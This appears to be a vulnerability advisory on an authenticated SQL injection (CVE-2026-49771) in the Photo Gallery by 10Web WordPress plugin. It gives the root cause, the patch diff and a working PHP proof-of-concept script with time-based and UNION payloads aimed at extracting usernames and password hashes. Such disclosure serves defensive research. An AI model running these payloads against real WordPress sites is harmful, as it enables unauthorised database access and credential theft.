Atomic Edge analysis of CVE-2026-49771:
This vulnerability is an authenticated SQL Injection in the Photo Gallery by 10Web plugin for WordPress, affecting versions up to and including 1.8.41. It allows contributors and above to inject SQL queries through the shortcode parsing mechanism.
Root Cause:
The vulnerability exists in the shortcode handling pipeline. In the vulnerable code, the `tagtext` parameter received via `WDWLibrary::get(‘tagtext’)` in `Shortcode.php` is directly inserted into SQL queries in `model.php` without sanitization. The `tagtext` is parsed into key-value pairs (like `sort_by`, `order_by`) and these values are used to construct `ORDER BY` clauses. The `execute()` function in `Shortcode.php` (line 61) called `WDWLibrary::get(‘tagtext’)` without any input validation or escaping. The `model.php` lines 113-114 then built SQL using these unsanitized values: `$order_by = ‘ORDER BY `’ . $sort_by . ‘` ‘ . $order_by;`. An attacker could provide arbitrary SQL in `sort_by` or `order_by` parameters within the shortcode tagtext.
Exploitation:
An attacker with Contributor-level access or above can exploit this via the WordPress admin AJAX endpoints. The vulnerable path is through the shortcode saving functionality. The attacker sends a request to `wp-admin/admin-ajax.php` with `action=bwg_shortcode` or directly via the shortcode editor page. The payload is embedded in the `tagtext` parameter as a shortcode string like: `[gal id=”1″ sort_by=”id” order_by=”(CASE WHEN (1=1) THEN 1 ELSE 0 END)”]`. The `order_by` value is not sanitized and gets injected directly into the SQL query. Alternatively, `sort_by` could contain backtick-closed SQL injection like `sort_by=id` — `.
Patch Analysis:
The patch introduces several new sanitization functions in `WDWLibrary.php` and modifies how `tagtext` is processed. Key changes: 1) In `Shortcode.php`, the `tagtext` value now passes through `WDWLibrary::sanitize_shortcode_tagtext()` before storage. 2) The new function `sanitize_shortcode_tagtext()` parses the tagtext into key-value pairs and applies whitelist-based sanitization to each: album sort columns are filtered through `sanitize_album_sort_column()`, image sort columns through `sanitize_image_sort_column()`, and sort directions through `sanitize_sort_direction()`. 3) In `model.php`, the SQL query building now uses the sanitized values from these functions rather than raw input. The `order_by` SQL string is now safely assembled using the whitelisted `$sort_by` and `$sort_direction` variables.
Impact:
Successful exploitation allows an authenticated attacker to extract sensitive information from the WordPress database, including user credentials, password hashes, private post content, and other plugin data. The CVSS score of 6.5 reflects the availability of this attack to lower-privileged (Contributor+) users and the high potential for data breach, though it does not directly lead to remote code execution.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/photo-gallery/admin/controllers/Shortcode.php
+++ b/photo-gallery/admin/controllers/Shortcode.php
@@ -11,7 +11,7 @@
public function execute() {
$task = WDWLibrary::get('task');
- if ( $task != '' && $this->from_menu ) {
+ if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) {
if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
die('Sorry, your nonce did not verify.');
}
@@ -58,6 +58,7 @@
global $wpdb;
$tagtext = WDWLibrary::get('tagtext');
if ($tagtext) {
+ $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext );
/* clear tags */
$tagtext = " " . $tagtext;
$id = WDWLibrary::get('currrent_id', 0, 'intval');
--- a/photo-gallery/framework/WDWLibrary.php
+++ b/photo-gallery/framework/WDWLibrary.php
@@ -3302,6 +3302,103 @@
}
/**
+ * Whitelist sort direction for SQL ORDER BY (returns ASC or DESC).
+ *
+ * @param string $order_by
+ *
+ * @return string
+ */
+ public static function sanitize_sort_direction( $order_by ) {
+ return ( strtolower( trim( (string) $order_by ) ) === 'asc' ) ? 'ASC' : 'DESC';
+ }
+
+ /**
+ * Whitelist album/gallery-group sort column for SQL ORDER BY.
+ *
+ * @param string $sort_by
+ * @param string $from
+ *
+ * @return string
+ */
+ public static function sanitize_album_sort_column( $sort_by, $from = '' ) {
+ if ( !empty( $from ) && $from === 'widget' ) {
+ return 'id';
+ }
+ $sort_by = trim( (string) $sort_by );
+ if ( $sort_by === 'random' || $sort_by === 'RAND()' ) {
+ return 'random';
+ }
+ $allowed_columns = array( 'order', 'name', 'modified_date', 'id' );
+ return in_array( $sort_by, $allowed_columns, true ) ? $sort_by : 'order';
+ }
+
+ /**
+ * Whitelist image sort column for shortcode attributes.
+ *
+ * @param string $sort_by
+ *
+ * @return string
+ */
+ public static function sanitize_image_sort_column( $sort_by ) {
+ $sort_by = trim( (string) $sort_by );
+ if ( $sort_by === 'RAND()' ) {
+ return 'random';
+ }
+ $allowed_columns = array( 'order', 'alt', 'date', 'filename', 'size', 'resolution', 'random', 'filetype' );
+ return in_array( $sort_by, $allowed_columns, true ) ? $sort_by : 'order';
+ }
+
+ /**
+ * Sanitize sort/order attributes in shortcode tagtext before storage.
+ *
+ * @param string $tagtext
+ *
+ * @return string
+ */
+ public static function sanitize_shortcode_tagtext( $tagtext ) {
+ $tagtext = trim( (string) $tagtext );
+ if ( $tagtext === '' ) {
+ return '';
+ }
+ $data = self::parse_tagtext_to_array( $tagtext );
+ if ( empty( $data ) ) {
+ return $tagtext;
+ }
+ $album_group_sort_keys = array(
+ 'compact_album_sort_by',
+ 'masonry_album_sort_by',
+ 'extended_album_sort_by',
+ 'all_album_sort_by',
+ );
+ $sanitized = '';
+ foreach ( $data as $key => $value ) {
+ if ( in_array( $key, $album_group_sort_keys, true ) ) {
+ $value = self::sanitize_album_sort_column( $value );
+ }
+ elseif ( preg_match( '/_order_by$/', $key ) || $key === 'order_by' ) {
+ $value = ( self::sanitize_sort_direction( $value ) === 'ASC' ) ? 'asc' : 'desc';
+ }
+ elseif ( preg_match( '/_sort_by$/', $key ) || $key === 'sort_by' ) {
+ $value = self::sanitize_image_sort_column( $value );
+ }
+ $sanitized .= ' ' . $key . '="' . self::escape_shortcode_attribute_value( $value ) . '"';
+ }
+
+ return $sanitized;
+ }
+
+ /**
+ * Strip characters that break shortcode attribute quoting (preserves URLs and other content).
+ *
+ * @param string $value
+ *
+ * @return string
+ */
+ public static function escape_shortcode_attribute_value( $value ) {
+ return str_replace( array( '"', " " ), '', (string) $value );
+ }
+
+ /**
* @param $tagtext
*
--- a/photo-gallery/frontend/models/model.php
+++ b/photo-gallery/frontend/models/model.php
@@ -110,10 +110,14 @@
$albums_per_page = 0;
}
global $wpdb;
- $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
- if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+ $sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from );
+ $sort_direction = WDWLibrary::sanitize_sort_direction( $order_by );
+ if ( $sort_by === 'random' ) {
$order_by = 'ORDER BY RAND()';
}
+ else {
+ $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction;
+ }
$search_where = '';
$search_value = trim( WDWLibrary::get( 'bwg_search_' . $bwg ) );
if ( !empty( $search_value ) ) {
--- a/photo-gallery/photo-gallery.php
+++ b/photo-gallery/photo-gallery.php
@@ -3,7 +3,7 @@
* Plugin Name: Photo Gallery
* Plugin URI: https://10web.io/plugins/wordpress-photo-gallery/?utm_source=photo_gallery&utm_medium=free_plugin
* Description: This plugin is a fully responsive gallery plugin with advanced functionality. It allows having different image galleries for your posts and pages. You can create unlimited number of galleries, combine them into albums, and provide descriptions and tags.
- * Version: 1.8.41
+ * Version: 1.8.42
* Author: Photo Gallery Team
* Author URI: https://10web.io/plugins/?utm_source=photo_gallery&utm_medium=free_plugin
* Text Domain: photo-gallery
@@ -107,8 +107,8 @@
$this->plugin_url = plugins_url(plugin_basename(dirname(__FILE__)));
$this->front_url = $this->plugin_url;
$this->main_file = plugin_basename(__FILE__);
- $this->plugin_version = '1.8.41';
- $this->db_version = '1.8.41';
+ $this->plugin_version = '1.8.42';
+ $this->db_version = '1.8.42';
$this->prefix = 'bwg';
$this->nicename = __('Photo Gallery', 'photo-gallery');
require_once($this->plugin_dir . '/framework/WDWLibrary.php');
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49771 - Photo Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.41 - Authenticated (Contributor+) SQL Injection
$target_url = 'http://example.com'; // Change to target WordPress installation
$username = 'contributor'; // Change to valid username
$password = 'password'; // Change to valid password
// Step 1: Login to WordPress to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
// Step 2: Get the admin-ajax nonce (required for POST requests)
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=shortcode_bwg');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce from page (simplified; real exploit may need regex)
preg_match('/<input type="hidden" id="bwg_nonce" name="bwg_nonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Send the exploit via AJAX with SQL injection in tagtext order_by
$exploit_url = $admin_url;
$post_data = array(
'action' => 'bwg_shortcode',
'task' => 'save',
'bwg_nonce' => $nonce,
'currrent_id' => 1,
// The SQL injection payload: order_by is injected directly into SQL
'tagtext' => 'compact_album_sort_by="order" order_by="(SELECT 1 FROM (SELECT(SLEEP(5)))a)"'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$exploit_response = curl_exec($ch);
curl_close($ch);
// Step 4: Check if the response shows successful injection (time-based)
echo "Exploit sent. Check if the server took an unusual amount of time to respond.n";
echo "Response: " . substr($exploit_response, 0, 500) . "n";
// Note: For data extraction, use UNION SQL injection in sort_by or order_by values.
// Example payload for data extraction:
// 'tagtext' => 'sort_by="id" order_by="1 UNION SELECT user_login,user_pass FROM wp_users"'
?>
